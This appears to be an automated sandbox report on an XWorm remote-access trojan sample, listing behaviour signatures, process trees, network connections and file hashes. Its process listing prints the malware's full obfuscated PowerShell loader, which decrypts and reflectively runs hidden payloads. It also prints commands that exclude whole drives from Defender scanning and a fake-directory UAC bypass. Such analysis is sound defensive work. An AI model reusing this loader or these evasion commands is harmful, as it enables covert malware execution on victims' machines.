Malware Analysis Report

2024-11-16 13:29

Sample ID 240621-k1qp3ateqb
Target 58f0f20d63b8f2ef1aade3d942c3894e8bad3b4c228e815b4e72e744e85dbb1e_NeikiAnalytics.exe
SHA256 58f0f20d63b8f2ef1aade3d942c3894e8bad3b4c228e815b4e72e744e85dbb1e
Tags
xworm execution persistence rat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

58f0f20d63b8f2ef1aade3d942c3894e8bad3b4c228e815b4e72e744e85dbb1e

Threat Level: Known bad

The file 58f0f20d63b8f2ef1aade3d942c3894e8bad3b4c228e815b4e72e744e85dbb1e_NeikiAnalytics.exe was found to be: Known bad.

Malicious Activity Summary

xworm execution persistence rat trojan

Detect Xworm Payload

Xworm

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Loads dropped DLL

Executes dropped EXE

Adds Run key to start application

Unsigned PE

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-21 09:04

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-21 09:04

Reported

2024-06-21 09:06

Platform

win10v2004-20240611-en

Max time kernel

140s

Max time network

144s

Command Line

"C:\Users\Admin\AppData\Local\Temp\58f0f20d63b8f2ef1aade3d942c3894e8bad3b4c228e815b4e72e744e85dbb1e_NeikiAnalytics.exe"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A

Xworm

trojan rat xworm

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Windows \System32\ComputerDefaults.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows \System32\ComputerDefaults.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\58f0f20d63b8f2ef1aade3d942c3894e8bad3b4c228e815b4e72e744e85dbb1e_NeikiAnalytics.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3392 wrote to memory of 1492 N/A C:\Users\Admin\AppData\Local\Temp\58f0f20d63b8f2ef1aade3d942c3894e8bad3b4c228e815b4e72e744e85dbb1e_NeikiAnalytics.exe C:\Windows\SYSTEM32\cmd.exe
PID 3392 wrote to memory of 1492 N/A C:\Users\Admin\AppData\Local\Temp\58f0f20d63b8f2ef1aade3d942c3894e8bad3b4c228e815b4e72e744e85dbb1e_NeikiAnalytics.exe C:\Windows\SYSTEM32\cmd.exe
PID 1492 wrote to memory of 3816 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\cmd.exe
PID 1492 wrote to memory of 3816 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\cmd.exe
PID 1492 wrote to memory of 4432 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\cmd.exe
PID 1492 wrote to memory of 4432 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\cmd.exe
PID 1492 wrote to memory of 3644 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1492 wrote to memory of 3644 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3644 wrote to memory of 5048 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3644 wrote to memory of 5048 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3644 wrote to memory of 2092 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\cmd.exe
PID 3644 wrote to memory of 2092 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\cmd.exe
PID 2092 wrote to memory of 4932 N/A C:\Windows\System32\cmd.exe C:\Windows \System32\ComputerDefaults.exe
PID 2092 wrote to memory of 4932 N/A C:\Windows\System32\cmd.exe C:\Windows \System32\ComputerDefaults.exe
PID 4932 wrote to memory of 900 N/A C:\Windows \System32\ComputerDefaults.exe C:\Windows\SYSTEM32\cmd.exe
PID 4932 wrote to memory of 900 N/A C:\Windows \System32\ComputerDefaults.exe C:\Windows\SYSTEM32\cmd.exe
PID 900 wrote to memory of 1784 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\cmd.exe
PID 900 wrote to memory of 1784 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\cmd.exe
PID 900 wrote to memory of 3248 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\cmd.exe
PID 900 wrote to memory of 3248 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\cmd.exe
PID 900 wrote to memory of 4380 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 900 wrote to memory of 4380 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4380 wrote to memory of 2956 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4380 wrote to memory of 2956 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4380 wrote to memory of 5092 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4380 wrote to memory of 5092 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3644 wrote to memory of 2860 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\cmd.exe
PID 3644 wrote to memory of 2860 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\58f0f20d63b8f2ef1aade3d942c3894e8bad3b4c228e815b4e72e744e85dbb1e_NeikiAnalytics.exe

"C:\Users\Admin\AppData\Local\Temp\58f0f20d63b8f2ef1aade3d942c3894e8bad3b4c228e815b4e72e744e85dbb1e_NeikiAnalytics.exe"

C:\Windows\SYSTEM32\cmd.exe

cmd /c "Klarfix.bat"

C:\Windows\system32\cmd.exe

cmd /c "set __=^&rem"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZswBK8u2NV7IPENb4F5Ni04XeJrmVL30U7w5n9Zu/HU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/dOxlsINkUwAJ3nENtxy3Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $dDTpJ=New-Object System.IO.MemoryStream(,$param_var); $nyPsN=New-Object System.IO.MemoryStream; $tcUkH=New-Object System.IO.Compression.GZipStream($dDTpJ, [IO.Compression.CompressionMode]::Decompress); $tcUkH.CopyTo($nyPsN); $tcUkH.Dispose(); $dDTpJ.Dispose(); $nyPsN.Dispose(); $nyPsN.ToArray();}function execute_function($param_var,$param2_var){ $ocrAD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $QFamy=$ocrAD.EntryPoint; $QFamy.Invoke($null, $param2_var);}$GtKHN = 'C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Klarfix.bat';$host.UI.RawUI.WindowTitle = $GtKHN;$alIOO=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($GtKHN).Split([Environment]::NewLine);foreach ($RvUSF in $alIOO) { if ($RvUSF.StartsWith('NNCXIzKgpbWZtDqKzhYz')) { $yftsr=$RvUSF.Substring(20); break; }}$payloads_var=[string[]]$yftsr.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c "C:\Windows \System32\ComputerDefaults.exe"

C:\Windows \System32\ComputerDefaults.exe

"C:\Windows \System32\ComputerDefaults.exe"

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /c call SC.cmd

C:\Windows\system32\cmd.exe

cmd /c "set __=^&rem"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZswBK8u2NV7IPENb4F5Ni04XeJrmVL30U7w5n9Zu/HU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/dOxlsINkUwAJ3nENtxy3Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $dDTpJ=New-Object System.IO.MemoryStream(,$param_var); $nyPsN=New-Object System.IO.MemoryStream; $tcUkH=New-Object System.IO.Compression.GZipStream($dDTpJ, [IO.Compression.CompressionMode]::Decompress); $tcUkH.CopyTo($nyPsN); $tcUkH.Dispose(); $dDTpJ.Dispose(); $nyPsN.Dispose(); $nyPsN.ToArray();}function execute_function($param_var,$param2_var){ $ocrAD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $QFamy=$ocrAD.EntryPoint; $QFamy.Invoke($null, $param2_var);}$GtKHN = 'C:\Users\Admin\AppData\Local\Temp\SC.cmd';$host.UI.RawUI.WindowTitle = $GtKHN;$alIOO=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($GtKHN).Split([Environment]::NewLine);foreach ($RvUSF in $alIOO) { if ($RvUSF.StartsWith('NNCXIzKgpbWZtDqKzhYz')) { $yftsr=$RvUSF.Substring(20); break; }}$payloads_var=[string[]]$yftsr.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=1684,i,15316930299780304231,7592852768794498680,262144 --variations-seed-version --mojo-platform-channel-handle=4092 /prefetch:8

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command " Remove-Item '\\?\C:\Windows \' -Force -Recurse "

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c rmdir "c:\Windows \"/s /q

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
US 8.8.8.8:53 76.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
NL 91.92.250.4:2709 tcp
US 8.8.8.8:53 4.250.92.91.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 92.12.20.2.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 144.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 10.27.171.150.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Klarfix.bat

MD5 64c6f11836991f421bc5d5a26823c2c7
SHA1 b76960001882ae0d638ccd081917bd7756fa6a2f
SHA256 e61bb996aaa4687fbc573dd2738d9c882d9f707db82e142c9b58d66a4a658bc0
SHA512 28945b0ae83b2aeedef8fbe1b3509766780b81bfd8d4ec5c2e6db3639a751cccbf8bdb0b9d504d483e04a864193e1ea6a14beeafebb0f3bfb08f63eacff75a7b

memory/3644-3-0x00007FFED6213000-0x00007FFED6215000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4xfy4zvd.rvz.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3644-13-0x00000212FB8B0000-0x00000212FB8D2000-memory.dmp

memory/3644-14-0x00007FFED6210000-0x00007FFED6CD1000-memory.dmp

memory/3644-15-0x00007FFED6210000-0x00007FFED6CD1000-memory.dmp

memory/3644-16-0x00000212FB930000-0x00000212FB974000-memory.dmp

memory/3644-17-0x00000212FBD90000-0x00000212FBE06000-memory.dmp

memory/3644-18-0x00000212FB910000-0x00000212FB920000-memory.dmp

memory/3644-20-0x00007FFEF4E00000-0x00007FFEF4EBE000-memory.dmp

memory/3644-19-0x00007FFEF50D0000-0x00007FFEF52C5000-memory.dmp

memory/3644-21-0x00000212FBD10000-0x00000212FBD58000-memory.dmp

C:\Windows \System32\ComputerDefaults.exe

MD5 d25a9e160e3b74ef2242023726f15416
SHA1 27a9bb9d7628d442f9b5cf47711c906e3315755b
SHA256 7b0334c329e40a542681bcaff610ae58ada8b1f77ff6477734c1b8b9a951ef4c
SHA512 bafaee786c90c96a2f76d4bbcddbbf397a1afd82d55999081727900f3c2de8d2eba6b77d25c622de0c1e91c54259116bc37bc9f29471d1b387f78aaa4d276910

C:\Windows \System32\MLANG.dll

MD5 e286ada1af4b08fa4b7c78f862883c4e
SHA1 798ebc7b7cd3db667f1a59ade299be4cff397f39
SHA256 16eb71b68025711fdbc93229fde22ecc73dc8a23be8b40700772b96978187ea3
SHA512 fbbbc893388a39e94d8b2265aef75dbaf5fd928fadabd3dbfc5cbee64b600de0102b82e5d2b5c56efe128b45f6ddd4bba2668194c05decdfa78c8e7e382de3f5

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

memory/4380-55-0x00007FFEF4E00000-0x00007FFEF4EBE000-memory.dmp

memory/4380-54-0x00007FFEF50D0000-0x00007FFEF52C5000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d28a889fd956d5cb3accfbaf1143eb6f
SHA1 157ba54b365341f8ff06707d996b3635da8446f7
SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA512 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

memory/4380-69-0x000001E5DEC20000-0x000001E5DEC2E000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 eb1ad317bd25b55b2bbdce8a28a74a94
SHA1 98a3978be4d10d62e7411946474579ee5bdc5ea6
SHA256 9e94e7c9ac6134ee30e79498558aa1a5a1ac79a643666c3f8922eed215dd3a98
SHA512 d011f266c0240d84470c0f9577cd9e4927309bd19bb38570ca9704ed8e1d159f9bea982a59d3eefef72ce7a10bd81208b82e88ef57c7af587f7437a89769adc0

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

MD5 a26df49623eff12a70a93f649776dab7
SHA1 efb53bd0df3ac34bd119adf8788127ad57e53803
SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512 e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

memory/3644-86-0x00007FFED6210000-0x00007FFED6CD1000-memory.dmp